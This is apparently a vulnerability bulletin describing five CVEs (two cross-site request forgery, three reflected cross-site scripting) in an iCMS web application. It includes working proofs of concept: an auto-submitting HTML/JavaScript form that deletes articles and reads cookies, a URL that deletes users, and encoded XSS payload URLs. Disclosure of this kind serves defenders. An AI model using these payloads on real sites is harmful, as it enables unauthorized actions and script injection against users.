Description

This security bulletin contains information about 5 secuirty vulnerabilities.


1) Cross-site request forgery (CVE-ID: CVE-2019-16677)

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in admincp.php?app=members&do=del, when empty CSRF token is passed. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as delete all application users.

Example:

http://[host]/admincp.php?app=members&do=del&id=1&frame=iPHP&CSRF_TOKEN=

2) Cross-site request forgery (CVE-ID: CVE-2019-8902)

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin. A remote authenticated attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as delete users' articles via the "public/api.php?app=user" URI.

PoC:

<html>
<body>
	<script type="text/javascript">

		var x = document.cookie;
		alert(x);

		function post(url,fields)
	{
		var p = document.createElement("form");
		p.action = url;
		p.innerHTML = fields;
		p.target = "_self";
		p.method = "post";
		document.body.appendChild(p);
		p.submit();
	}
		function csrf_hack()
	{
		var fields;
		fields += "<input type='hidden' name='id' value='1'>";
		fields += "<input type='hidden' name='act' value='trash'>";
		fields += "<input type='hidden' name='pg' value='article'>";
		fields += "<input type='hidden' name='action' value='manage'>";
		var url = "http://localhost/iCMS-7.0/public/api.php?app=user";
		post(url,fields);
	}
		window.onload = function() { csrf_hack();}
	</script>
</body>
</html>

3) Reflected cross-site scripting (CVE-ID: CVE-2019-11427)

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "public/api.php?app=search" q parameter to the "app/search/search.app.php" file. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

http://[host]/public/api.php?app=search&q=admin%27l0cub%2522autofocus%0aonfocus%01%253dconfirm(1)%20%253d%2522b%2522alzbk

4) Reflected cross-site scripting (CVE-ID: CVE-2019-11426)

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "admincp.php?app=config" tab parameter to the "app/admincp/template/admincp.header.php" file. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

http://[host]/admincp.php?app=config&tab=cachezpl4%3C/script%3E%3Ciframe+src=data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ%2b%3E=1+laaaa

5) Reflected cross-site scripting (CVE-ID: CVE-2019-14976)

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "keywords" parameter to the "admincp.php?app=apps". A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

http://[host]/admincp.php?app=apps&perpage=50&keywords=XSS
